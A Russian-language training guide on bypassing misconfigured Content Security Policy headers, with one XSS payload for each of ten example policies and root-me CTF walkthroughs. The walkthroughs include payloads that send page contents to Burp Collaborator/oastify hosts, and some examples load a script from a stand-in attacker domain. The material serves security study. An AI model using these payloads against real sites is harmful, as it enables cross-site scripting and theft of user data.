## Материал для самостоятельного изучения
Содержание:
1. Примеры уязвимого кода
2. Примеры атак и уязвимых приложений
### Примеры уязвимого кода
`Content Security Policy` - механизм, который призван гибко закрывать вероятные проблемы связвязанные с фронтендом. Обычно, данные для настройки сообщаются через заголовок `Content-Security-Policy`. Заголовок может определяться через веб сервер или фреймворк приложения. Так же еще возможно определение политик через тег `meta`.
Полный перечень директив и рекомендованный вариант работы браузера можно найти [тут](https://www.w3.org/TR/CSP3/).
Автоматическую проверку вероятных слабых конфигураций можно проводить на основании вот [этого](https://csp-evaluator.withgoogle.com) сервиса.
Уязвимости в механизме могут пристутствовать из-за:
- опаздывающей имплементации в браузере (отсутствие отдельных директив)
- уязвимости в готовой имплементации (сразу получают CVE-ID)
- злоупотребление набором директив
Последний вариант самый распространенный. Рассмотрим варианты уязвимых наборов директив.
### Примеры атак и уязвимых приложений
#### Пример №1
```
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
```
Максимально уязвимая версия набора директив. unsafe-inline - по сути оставляет возможным атаки через использование стандартных тестов. Вот такими тестовыми данными можно пользоваться(не единственный вариант):
```javascript
<script>alert(1337);</script>
```
#### Пример №2
```
Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
```
Доступна директива unsafe-eval - дает возможность запускать код из строки. При этом код можно неограниченное количество раз редактировать налету. Пример тестовых данных:
```javascript
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
#### Пример №3
```
Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
```
Использование валдкарда для script-src. Дает возможность добавить скрипт из сервера, который контроллирует атакующий. Пример тестовых данных:
```javascript
"/>'><script src=https://mysite.com/evil.js></script> "/>'><script src=data:text/javascript,alert(1337)></script>
```
#### Пример №4
```
Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
```
Отсутствуют директивы object-src и default-src. Можно прибегнуть к достаточно древней технологии:
```javascript
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
#### Пример №5
```
Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
```
object-src установлен в none. Если в приложении будет доступен функционал для загрузки файлов, то атакующий может попробовать провести атаку через вызов скрипта по тегу:
```javascript
"/>'><script src="/user_upload/mypic.png.js"></script>
```
#### Пример №6
```
Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
```
Директива script-src 'self' дает возможность обращаться только к домену приложения. Если есть jsonp эндпоинты в приложении, то байпас возможно производить вот так:
```javascript
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
```
Проблема байпаса заключается в том, что придется искать jsonp самостоятельно в проекте, чтобы атака заработала.
#### Пример №7
```
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
```
Загрузка исходников с такой конфигурацией подразумевает возможность работать только с файлами указанного хранилища. Если в хранилище есть другие версии либ, то можно попробовать загрузить уязвимую версию и завершить атаку. Пример тестовых данных:
```javascript
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
```
#### Пример №8
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Tесли приложение использует angular JS и скрипты загружаются с разрешенных доменов. Обойти CSP можно через использование колбеков. Пример атаки:
```javascript
ng-app"ng-csp ng-click=$event.view.alert(1337)>
<script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
```
#### Пример №9
```
Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
```
При использовании двух доверенных доменов для загрузки скриптов можно допустить обход CSP. Важным условием для успеха является нахождение уязвимости open redirect на одном из доменов. В этом случае можно будет использовать jsonp технику для обхода. Пример атаки:
```javascript
">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
```
#### Пример №10
```
Content-Security-Policy:
default-src 'self' data: *; connect-src 'self'; script-src 'self' ;
report-uri /_csp; upgrade-insecure-requests
```
Обход возможен через использование iframe:
```javascript
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
```
### Уязвимые приложения
Автоматизация поиска уязвимых наборов директив возможна через использование плагинов burp:
- CSP auditor
Его достаточно установить и он самостоятельно будет анализировать заголовки, которые приходят от сервера с политиками CSP. Пример вывода:
`Target Tab`

`Dashboard`

Второй плагин позволяет выполнять аналогичные действия - CSP-Bypass. Отличие плагина заключается в том, что он написан на Python.
### Примеры тестирования
#### Уязвимое приложение по адресу: https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Inline-code
Тестирование приложения проходит точно так же как при обычном поиске XSS. Нужно понять в какой контекст попадают данные от пользователя и попробовать обойти фильтрацию, чтобы добавление данных произошло без изменений.
Пробуем подставить самый простой payload ```<img src=x onerror=alert(0)>```:

Байпас найден, для решения задания нужно описать javascript для отправки страницы, которую видит пользователь. Например так:
```html
http://challenge01.root-me.org/web-client/ch8/page?user=test<img src=a onerror=document.location='//xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net?c='%2bwindow.btoa(document.getElementsByClassName("message")[0].innerHTML)>tes
```
#### Уязвимое приложение по адресу: https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Dangling-markup
Обход такого вида CSP возможен, но для этого нужно быть уверенным, что используемый браузер не Chrome проект. Так как в этих браузерах просто оставить незакрытым тег нельзя.
Для тестирования такой уязвимости нужно стремиться проставить html теги, которые могут давать возможность обращаться к другим страницам и обходить CSP:
```html
/page?user="><meta http-equiv='refresh' content='0;http://ezhxksu3msiy7fbbe9zpfjt2rtxmlb.oastify.com?
```
### Полезные ссылки
- https://csp-evaluator.withgoogle.com
- https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection